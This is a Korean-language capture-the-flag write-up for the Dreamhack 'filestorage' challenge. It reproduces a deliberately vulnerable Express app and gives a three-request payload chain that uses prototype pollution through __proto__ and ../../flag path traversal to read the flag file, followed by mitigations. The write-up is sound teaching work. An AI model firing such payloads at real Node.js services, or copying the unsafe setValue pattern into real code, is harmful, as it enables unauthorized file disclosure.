[Dreamhack]WebHacking/Wargame&CTF

[Dreamhack] Level2: filestorage

Yun2πŸ‘ 2024. 2. 2. 23:18
λ°˜μ‘ν˜•

πŸ›ŽοΈ Access

νŒŒμΌμ„ 관리할 수 μžˆλŠ” κ΅¬ν˜„μ΄ 덜 된 ν™ˆνŽ˜μ΄μ§€μž…λ‹ˆλ‹€.

 

 

πŸ‘Ύ Exploit Algorithm & Payload

> app.js

더보기
const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();


var file={};
var read={};
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');


app.get('/',function(req,resp){
	read['filename']='fake';
	resp.render(__dirname+"/ejs/index.ejs");

})

app.post('/mkfile',function(req,resp){
	let {filename,content}=req.body;
	filename=hash(filename).toString();
	fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
		if(err==null){
			file[filename]=filename;
			resp.send('your file name is '+filename);
		}else{
			resp.write("<script>alert('error')</script>");
			resp.write("<script>window.location='/'</script>");
		}
	})

})

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
			if(err==null){
				resp.send(data);
			}else{
				resp.send('file is not existed');
			}
		})
	}

})

app.get('/test',function(req,resp){
	let {func,filename,rename}=req.query;
	if(func==null){
		resp.send("this page hasn't been made yet");
	}else if(func=='rename'){
		setValue(file,filename,rename)
		resp.send('rename');
	}else if(func=='reset'){
		read={};
		resp.send("file reset");
	}
})


app.listen(8000);

> dokerfile

더보기
FROM node

RUN mkdir -p /app
RUN echo 'BISC{fake flag}' > /flag

WORKDIR /app

COPY ./ /app

RUN npm install

EXPOSE 8000

CMD ["npm","start"]

 

 

#1


: '/' νŽ˜μ΄μ§€μ—μ„œ 파일 이름과 λ‚΄μš©μ„ μž…λ ₯ν•˜κ³  보낼 수 μžˆλŠ” 곳을 확인할 수 μžˆλ‹€.

 

app.get('/test',function(req,resp){
    let {func,filename,rename}=req.query;
    if(func==null){
        resp.send("this page hasn't been made yet");
    } else if(func=='rename'){
        setValue(file,filename,rename)
        resp.send('rename');
    } else if(func=='reset'){
        read={};
        resp.send("file reset");
}})

: '/test' κ²½λ‘œμ— func, filename, renameμ΄λΌλŠ” νŒŒλΌλ―Έν„°λͺ…이 μžˆμŒμ„ 확인할 수 μžˆλ‹€.

: '/test?func=rename' κ³Ό '/test?func=reset'에 따라 λ‹€λ₯Έ λ°˜μ‘μ„ ν•œλ‹€.

: '/test?func=rename&filename=[ν•΄λ‹Ή 파일λͺ…]&rename=[λ³€κ²½λœ 파일λͺ…]' 의 νŒŒλΌλ―Έν„°κ°’μ„ μ΄μš©ν•˜λ©΄ ν•΄λ‹Ή 파일의 이름을 λ³€κ²½λœ 파일의 μ΄λ¦„μœΌλ‘œ λ³€κ²½ν•˜κ²Œ λœλ‹€.

: '/test?func=reset'의 κ²½μš°λŠ” readλ₯Ό λ¦¬μ…‹ν•˜κ²Œ λœλ‹€.

 

 

#2


app.get('/readfile',function(req,resp){
    ...
   read[filename]=filename.replaceAll('.','');
    ...
})

...

app.get('/test',function(req,resp){
    ....
    }else if(func=='rename'){
        setValue(file,filename,rename)
    ....
})

: μ½”λ“œλ₯Ό μ „μ²΄μ μœΌλ‘œ μ‚΄ν”Όλ©΄ filedownload 취약점을 λ°©μ–΄ν•˜κΈ° μœ„ν•΄μ„œ replaceAll() ν•¨μˆ˜κ°€ μ‚¬μš©λ˜μ–΄μžˆλ‹€.

: ν•˜μ§€λ§Œ setValue() ν•¨μˆ˜μ—μ„œ prototype pollution 취약점이 μ‘΄μž¬ν•œλ‹€.

 

https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

 

Node.jsμ—μ„œμ˜ ν”„λ‘œν† νƒ€μž… μ˜€μ—Ό κ³΅κ²©μ΄λž€ 무엇인가

__proto__을 μ΄μš©ν•œ ν”„λ‘œν† νƒ€μž… μ˜€μ—Ό(prototype pollution) 곡격의 원리λ₯Ό μ„€λͺ…ν•˜λ©΄μ„œ λ…Έλ“œ ν™˜κ²½μ—μ„œ μ‹€μ œ 곡격이 κ°€λŠ₯ν•œ 사둀λ₯Ό ν•¨κ»˜ μ†Œκ°œν•©λ‹ˆλ‹€.

blog.coderifleman.com

 

# prototype pollution μ˜ˆμ‹œ
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

: λ‹€μŒ μ˜ˆμ‹œμ™€ 같이 Node.jsμ—μ„œ μ‚¬μš© κ°€λŠ₯ν•œ __proto__λŠ” Object.prototypeκ³Ό κ°™λ‹€λŠ” 것을 μ΄μš©ν•΄ λ‹€λ₯Έ 객체 속성에 영ν–₯을 μ£ΌλŠ” 방식이닀.

 

: μΆ”κ°€λ‘œ Dockerfile을 ν™•μΈν•˜μ—¬ flag 파일이 λ‚΄λΆ€ μ–΄λ”˜κ°€μ— μ‘΄μž¬ν•œλ‹€λŠ” 것을 μ•Œ 수 μžˆλ‹€.

 

 

#3


...
app.get('/readfile',function(req,resp){
    let filename=file[req.query.filename];
    if(filename==null){
        fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
            resp.send(data);        })
    }else{
        read[filename]=filename.replaceAll('.','');
        fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
            if(err==null){
                resp.send(data);
            }else{
              resp.send('file is not existed');
            }
        })
    }
})
...
GET /test?func=rename&filename=__proto__.filename&rename=../../flag
-> rename

: filename의 νŒŒλΌλ―Έν„°λ₯Ό μ΄μš©ν•΄ readλ₯Ό μ˜€μ—Όμ‹œν‚¨λ‹€.

: filenameκ³Ό rename νŒŒλΌλ―Έν„°μ— ν”„λ‘œν† νƒ€μž… μ˜€μ—Ό 곡격 νŽ˜μ΄λ‘œλ“œλ₯Ό μž‘μ„±ν•˜λ©΄ μ „λ‹¬λœλ‹€.

 

GET /test?func=reset

: 그리고 read 객체λ₯Ό μ΄ˆκΈ°ν™” ν•΄μ€€λ‹€.

: μ΄ˆκΈ°ν™”λ₯Ό ν•΄μ€˜μ•Όν•˜λŠ” μ΄μœ λŠ” read 객체에 'filename'μ΄λΌλŠ” 속성을 μ°ΎκΈ° λ•Œλ¬Έμ΄λ‹€.(read['filename']) μ΄λŠ” 항상 'filename' 속성을 μ°Ύμ§€λ§Œ, read[filename]은 filename λ³€μˆ˜μ˜ 값에 따라 read 객체에 λ‹€λ₯Έ 속성을 찾을 수 μžˆλ‹€.

 

 

πŸ”‘Analysis and results for obtaining the Flag DH{…}


GET /readfile?filename=

: 그럼 λ‹€μŒκ³Ό 같이 ν•΄λ‹Ή μœ„μΉ˜μ˜ flagλ₯Ό νšλ“ν•  수 μžˆλ‹€.

 

 

πŸ“ŒSummary


 Node.js의 __proto__λŠ” 객체의 ν”„λ‘œν† νƒ€μž…μ„ μ°Έμ‘°ν•˜λŠ” 속성이닀. ν”„λ‘œν† νƒ€μž… 기반 μƒμ†μ—μ„œ μ€‘μš”ν•œ 역할을 ν•˜λ‚˜ μ΄λŸ¬ν•œ 속성이 μ•…μ˜μ μΈ μ½”λ“œλ‘œ μ‚¬μš©λ  수 μžˆλ‹€. 이λ₯Ό prototype pollution이라 ν•œλ‹€. μ΄λŠ” μ•…μ˜μ μΈ μ‚¬μš©μžκ°€ ν”„λ‘œν† νƒ€μž… 체인을 μ‘°μž‘ν•˜μ—¬ μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ λ™μž‘μ— 영ν–₯을 λ―ΈμΉ˜λŠ” 곡격으둜 μ›λž˜ μ—†λ˜ 속성을 μΆ”κ°€ν•˜κ±°λ‚˜, κΈ°μ‘΄ 속성을 λ³€κ²½ 및 λ©”μ„œλ“œλ₯Ό μ˜€λ²„λΌμ΄λ“œν•  수 있게 λœλ‹€.

 

-λŒ€μ‘λ°©μ•ˆ-

- μž…λ ₯κ°’ 검증

: μ—¬κΈ°μ„œλŠ” 특히 __proto__ 와 κ΄€λ ¨λœ λ¬Έμžλ‚˜ prototypeκ³Ό 같은 ν‚€μ›Œλ“œκ°€ ν¬ν•¨λœ μž…λ ₯을 적절히 검증해야 함.

- Object.freeze() ν™œμš©

: 이 λ©”μ„œλ“œλ₯Ό μ‚¬μš©ν•˜λ©΄ 객체λ₯Ό λ™κ²°ν•˜μ—¬ κ·Έ 속성을 λ³€κ²½ν•  수 μ—†κ²Œ λ§Œλ“€ 수 μžˆλ‹€.

- μ™ΈλΆ€ 라이브러리 μ‚¬μš© 주의

...

 

 

λ°˜μ‘ν˜•